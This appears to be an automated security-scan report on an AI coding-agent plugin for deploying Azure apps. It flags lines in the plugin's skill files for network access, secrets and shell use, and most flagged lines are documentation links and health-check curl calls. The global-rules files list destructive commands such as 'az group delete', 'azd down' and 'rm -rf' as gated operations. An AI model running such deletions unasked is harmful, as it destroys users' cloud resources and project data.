{ name: 'db-connection-string' keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' - Network accessline 36
name: 'db-connection-string' keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' identity: 'system' - Network accessline 37
keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' - Access to secretsline 56
[Credential-related source omitted]
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/iac-generation-rules.md
- Network accessline 61
⛔ Read [`bicep-patterns-security.md`](bicep-patterns-security.md) (or `terraform-patterns.md` § Security Defaults) and verify ALL security patterns from Step 5. If deployment includes compute with MI ↔ resource RBAC, ⛔ read [rbac-roles.md](
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/mcp-tools.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/scaffold-schemas.ts
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/self-review-checklist.md
- Network accessline 112
Per-pillar spot check against [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/).
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/terraform-patterns.md
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/waf-checklist.md
- Network accessline 5
> **Reference:** [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — link, don't duplicate. See [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) for p
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/session-schemas.ts
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.ps1
- Executable scriptline 1
#!/usr/bin/env pwsh
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/SKILL.md
- Network accessline 56
> **APIM / AI Gateway**: Use this skill to deploy applications whose APIM/AI gateway infrastructure was already created during **azure-prepare**. For creating or changing APIM resources, see [APIM deployment guide](https://learn.microsoft.c - Network accessline 79
| 8 | **Verify Success** — Confirm deployment completed and endpoints are accessible | [Verification](references/recipes/azd/verify.md) | | 9 | **Live Role Verification** — Query Azure to confirm provisioned RBAC roles are correct and suffi - Network accessline 81
| 10 | **Report Results** — Present deployed endpoint URLs to the user as fully-qualified `https://` links | [Verification](references/recipes/azd/verify.md) | - Network accessline 83
> **⛔ URL FORMAT RULE** > > When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands - Network accessline 85
> When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands return bare hostnames with
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/global-rules.md
- Dangerous shell operationline 13
| **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azcli/verify.md
- Network accessline 10
curl -s https://<endpoint>/health | jq . - Network accessline 39
# Container Apps FQDN=$(az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv) echo "https://$FQDN" - Network accessline 41
echo "https://$FQDN" - Network accessline 43
# App Service HOSTNAME=$(az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv) echo "https://$HOSTNAME" - Network accessline 45
echo "https://$HOSTNAME" - Network accessline 47
# Static Web Apps HOSTNAME=$(az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv) echo "https://$HOSTNAME" - Network accessline 49
echo "https://$HOSTNAME" - Network accessline 54
# Container Apps $Fqdn = az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv Write-Output "https://$Fqdn" - Network accessline 56
Write-Output "https://$Fqdn" - Network accessline 58
# App Service $Hostname = az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv Write-Output "https://$Hostname" - Network accessline 60
Write-Output "https://$Hostname" - Network accessline 62
# Static Web Apps $Hostname = az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv Write-Output "https://$Hostname" - Network accessline 64
Write-Output "https://$Hostname" - Network accessline 67
> ⚠<U+FE0F> **These commands return bare hostnames without a scheme.** Always prepend `https://` when presenting URLs to the user. For example, report `https://myapp.azurewebsites.net`, never `myapp.azurewebsites.net`. - Network accessline 69
Present a summary including all service URLs as fully-qualified `https://` links. Do NOT end your response without including them.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/ef-migrations.md
- Network accessline 146
- [SQL Managed Identity Access](sql-managed-identity.md) - [Post-Deployment Guide](post-deployment.md) - [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/) - Network accessline 148
- [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/functions-deploy.md
- Network accessline 73
# Check status code only (GET, don't follow redirects) curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 74
curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 76
# Get status code and redirect URL curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 77
curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 79
# Verbose output showing response headers (GET) curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 80
curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 86
# DO NOT use this — returns 404 even when the function works curl -I "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 87
curl -I "https://<func-name>.azurewebsites.net/api/<route>"
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/post-deployment.md
- Dangerous shell operationline 38
eval $(azd env get-values) - Network accessline 78
# Health check curl -f "$ENDPOINT/health" || echo "Health check failed" - Network accessline 79
curl -f "$ENDPOINT/health" || echo "Health check failed" - Network accessline 81
# Test database connectivity curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed" - Network accessline 82
curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed"
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.sh
- Executable scriptline 1
#!/bin/bash
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.sh
- Executable scriptline 1
#!/bin/bash
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/sql-managed-identity.md
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/verify.md
- Network accessline 14
Resource Group: rg-myapp-dev Services: api - Endpoint: https://api-xxxx.azurecontainerapps.io - Network accessline 16
api - Endpoint: https://api-xxxx.azurecontainerapps.io - Network accessline 25
# Test endpoint curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT" - Network accessline 26
curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT" - Network accessline 66
| Service | Endpoint | |---------|----------| | apiservice | https://apiservice.xxx.azurecontainerapps.io | - Network accessline 68
| apiservice | https://apiservice.xxx.azurecontainerapps.io | - Network accessline 70
Aspire Dashboard: https://aspire-dashboard.xxx.azurecontainerapps.io - Network accessline 73
> ⚠<U+FE0F> **Always use fully-qualified URLs with the `https://` scheme.** If a command returns a bare hostname (e.g. `myapp.azurestaticapps.net`), prepend `https://` before presenting it to the user. - Dangerous shell operationline 85
eval $(azd env get-values)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/bicep/verify.md
- Network accessline 18
curl -s https://<endpoint>/health | jq . - Network accessline 31
Present a summary including all service URLs as fully-qualified `https://` links. If a deployment output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/cicd/verify.md
- Network accessline 16
curl -s https://<endpoint>/health | jq . - Network accessline 23
Extract endpoints from the pipeline output or query them directly via `az` CLI. Present a summary including all service URLs as fully-qualified `https://` links. If any command returns a bare hostname (e.g. `myapp.azurewebsites.net`), alway
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/terraform/README.md
- Access to secretsline 18
[Credential-related source omitted]
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/terraform/errors.md
- Access to secretsline 10
[Credential-related source omitted]
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/terraform/verify.md
- Network accessline 11
curl -s https://$(terraform output -raw api_url)/health | jq . - Network accessline 30
Present a summary including all service URLs as fully-qualified `https://` links. If a Terraform output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/region-availability.md
- Network accessline 3
> **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 5
> Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 65
> Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/sdk/azd-deployment.md
- Access to secretsline 25
[Credential-related source omitted]
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-deploy/references/troubleshooting.md
- Network accessline 114
{ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 115
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 134
**Reference:** [Use environment variables in infrastructure files](https://learn.microsoft.com/azure/developer/azure-developer-cli/manage-environment-variables?tabs=bash#use-environment-variables-in-infrastructure-files)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/apim.md
- Access to secretsline 199
[Credential-related source omitted] - Network accessline 209
- [APIM v2 Overview](https://learn.microsoft.com/azure/api-management/v2-service-tiers-overview) - Network accessline 210
- [APIM Bicep Reference](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service) - Network accessline 211
- [APIM Terraform](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/api_management) - Network accessline 212
- [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/aspire.md
- Network accessline 267
| Sample | Repository | Notes | |--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | - Network accessline 268
|--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | | AspireYarp | [dotnet/aspire-samples](https://github. - Network accessline 269
| orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | - Network accessline 270
| AspireYarp | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireYarp) | YARP reverse proxy | - Network accessline 271
| AspireWithDapr | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireWithDapr) | Dapr integration | - Network accessline 272
| eShop | [dotnet/eShop](https://github.com/dotnet/eShop) | Reference microservices app | - Network accessline 418
- [.NET Aspire Documentation](https://learn.microsoft.com/en-us/dotnet/aspire/) - Network accessline 419
- [Azure Developer CLI (azd)](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/) - Network accessline 420
- [Aspire Samples Repository](https://github.com/dotnet/aspire-samples) - Network accessline 421
- [azd + Aspire Integration](https://learn.microsoft.com/en-us/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/azure-context.md
- Network accessline 121
- Invoke **azure-resource-lookup** skill to count existing deployments of that resource type in the selected subscription and region - Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment` - Referen - Network accessline 122
- Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment` - Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-ser - Network accessline 123
- Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for the limit value
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/functional-verification.md
- Network accessline 42
│ ├── User says yes │ │ ├── App can run locally? → Run locally, verify backend + UI │ │ ├── API-only / no UI? → Test endpoints with curl or similar - Network accessline 43
│ │ ├── App can run locally? → Run locally, verify backend + UI │ │ ├── API-only / no UI? → Test endpoints with curl or similar │ │ └── Static site? → Open in browser, verify rendering - Network accessline 44
│ │ ├── API-only / no UI? → Test endpoints with curl or similar
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/global-rules.md
- Dangerous shell operationline 13
| **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource | - Dangerous shell operationline 33
- ⛔ Do NOT delete user project or workspace directories (e.g., `rm -rf <project-dir>`) even when adding features, converting, or migrating — use MODIFY mode to edit existing files instead. File deletions within a project (e.g., removing bui
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/plan-template.md
- Network accessline 119
- **If quota CLI is NOT supported** (returns `BadRequest`): - Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`) - Network accessline 120
- Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`) - Get limit: [Azure service limits documentation](https://l - Network accessline 121
- Get limit: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 141
- **MUST use azure-quotas skill first** to check providers via quota CLI (`az quota` commands) - Microsoft.Compute, Microsoft.Network, Microsoft.App, etc. - Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY - Network accessline 142
- Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.mic - Network accessline 143
- **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/aspire.md
- Network accessline 68
.NET Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) let apps request values from the deployment environment. Each `AddParameter()` call generates a Bicep parameter in the deployment manifest. However, azd - Network accessline 106
If the value must remain an [external parameter](https://aspire.dev/fundamentals/external-parameters/) (e.g., it varies per environment), pre-set it in the azd environment config immediately after `azd init`: - Access to secretsline 117
[Credential-related source omitted] - Network accessline 145
**Cause:** The AppHost uses `AddParameter()` as a `WithBuildArg` argument. azd cannot resolve Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) during Docker builds, regardless of azd version. - Network accessline 224
- [.NET Aspire External Parameters](https://aspire.dev/fundamentals/external-parameters/) - Network accessline 225
- [.NET Aspire Docs](https://learn.microsoft.com/dotnet/aspire/) - Network accessline 226
- [azd + Aspire](https://learn.microsoft.com/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth) - Network accessline 227
- [Samples](https://github.com/dotnet/aspire-samples)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/docker.md
- Access to secretsline 99
[Credential-related source omitted]
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/iac-rules.md
- Network accessline 50
{ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 51
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 64
> ⚠<U+FE0F> **Before generating any resource name in Bicep, check [Resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for that resource type's valid characters, length limits, and unique - Network accessline 70
- [Resource abbreviations](https://learn.microsoft.com/azure/cloud-adoption-framework/ready/azure-best-practices/resource-abbreviations) — recommended prefixes per resource type
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/terraform.md
- Network accessline 478
- [Microsoft Docs: Use Terraform with azd](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd) - Network accessline 479
- [azd-starter-terraform template](https://github.com/Azure-Samples/azd-starter-terraform) - Network accessline 480
- [Terraform Azure Provider](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs) - Network accessline 481
- [Azure CAF Naming](https://registry.terraform.io/providers/aztfmod/azurecaf/latest/docs)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/bicep/patterns.md
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/region-availability.md
- Network accessline 3
> **AUTHORITATIVE SOURCE** — Consult service-specific files BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 5
> Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/research.md
- Network accessline 7
1. **Identify Components** — List all Azure services from architecture plan 2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** - Network accessline 8
2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.micros - Network accessline 9
3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for valid characters, length limits, and uniqueness scopes
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/resources-limits-quotas.md
- Network accessline 59
2. Get limit from [service documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 96
| Service | Hard Limits (examples) | Quota Check | Notes | |---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](h - Network accessline 97
|---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-l - Network accessline 98
| **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits). Default: 50 accounts/region | Query: `az graph quer - Network accessline 158
|-------|------|--------| | "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/man - Network accessline 159
| "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription - Network accessline 160
| "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) | - Network accessline 210
- **azure-quotas skill** - Complete quota checking workflow and CLI commands (invoke the **azure-quotas** skill) - [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-li - Network accessline 211
- [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-limits) - Official Microsoft documentation - Network accessline 212
- [Azure Quotas Overview](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) - Understanding quotas and limits
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/runtimes/nodejs.md
- Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Network accessline 173
# Health check HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \ CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1 - Network accessline 174
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1 - Network accessline 175
CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1 - Network accessline 209
if (req.get('x-forwarded-proto') !== 'https' && process.env.NODE_ENV === 'production') { if (!TRUSTED_HOST) return next(); return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`); - Network accessline 210
if (!TRUSTED_HOST) return next(); return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`); } - Network accessline 211
return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`); - Access to secretsline 241
[Credential-related source omitted]
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/sdk/azd-deployment.md
- Access to secretsline 25
[Credential-related source omitted]
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/security.md
- Network accessline 268
- [Key Vault documentation](https://learn.microsoft.com/azure/key-vault/general/overview) - Network accessline 269
- [Managed identities documentation](https://learn.microsoft.com/azure/active-directory/managed-identities-azure-resources/overview) - Network accessline 270
- [Azure RBAC documentation](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 271
- [Microsoft Defender for Cloud](https://learn.microsoft.com/azure/defender-for-cloud/defender-for-cloud-introduction)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/sku-selection.md
- Network accessline 33
> 💡 **Tip:** Figures are representative for **Windows OS** in **Central US**, **as of 2026-04**. Prices vary by region, OS, and offer. Use the [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for exact figures. - Network accessline 37
Cost savings can be made on Premium V3, Premium V4 and Isolated V2 plans by committing to reserved instances for 1 or 3 year terms, details can found at [https://learn.microsoft.com/azure/cost-management-billing/reservations/prepay-app-serv - Network accessline 39
Alternatively cost savings can be made using [Azure Savings plans](https://learn.microsoft.com/en-us/azure/cost-management-billing/savings-plan/).
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/README.md
- Network accessline 37
enabled: true registration: { openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0' - Network accessline 38
registration: { openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0' clientId: appRegistration.properties.appId - Network accessline 39
openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0' - Network accessline 67
web: { redirectUris: [ 'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback' - Network accessline 68
redirectUris: [ 'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback' ] - Network accessline 69
'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback' - Network accessline 94
- [Easy Auth overview](https://learn.microsoft.com/en-us/azure/app-service/overview-authentication-authorization) - Network accessline 95
- [Microsoft Identity Web](https://learn.microsoft.com/en-us/entra/msal/dotnet/microsoft-identity-web/) - Network accessline 96
- [Configure Entra ID auth](https://learn.microsoft.com/en-us/azure/app-service/configure-authentication-provider-aad)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/dotnet.md
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/nodejs.md
- Network accessline 19
const client = jwksClient({ jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`, - Network accessline 20
jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`, - Network accessline 46
algorithms: ["RS256"], audience: AUDIENCE, issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`, - Network accessline 47
audience: AUDIENCE, issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`, }, - Network accessline 48
issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/python.md
- Access to secretsline 28
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted] - Network accessline 30
# Use APP_ID_URI if set (e.g., "api://<client-id>"); fall back to CLIENT_ID AUDIENCE = os.environ.get("AZURE_APP_ID_URI", CLIENT_ID) JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys" - Access to secretsline 31
[Credential-related source omitted] - Network accessline 32
JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys" - Network accessline 42
algorithms=["RS256"], audience=AUDIENCE, issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0", - Network accessline 43
audience=AUDIENCE, issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0", ) - Network accessline 44
issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/README.md
- Network accessline 33
| Setting | Value | Purpose | |---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | - Network accessline 34
|---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | | `COSMOS_DATABASE_NAME` | `app-db` | Target database | - Network accessline 35
| `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | - Network accessline 87
- [Cosmos DB + App Service tutorial](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/tutorial-dotnet-web-app) - Network accessline 88
- [Passwordless Cosmos DB connections](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/how-to-dotnet-get-started) - Network accessline 89
- [Cosmos DB RBAC](https://learn.microsoft.com/en-us/azure/cosmos-db/how-to-setup-rbac)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/source/python.md
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/redis/README.md
- Network accessline 84
- [Azure Cache for Redis overview](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-overview) - Network accessline 85
- [Use Entra ID with Redis](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-azure-active-directory-for-authentication) - Network accessline 86
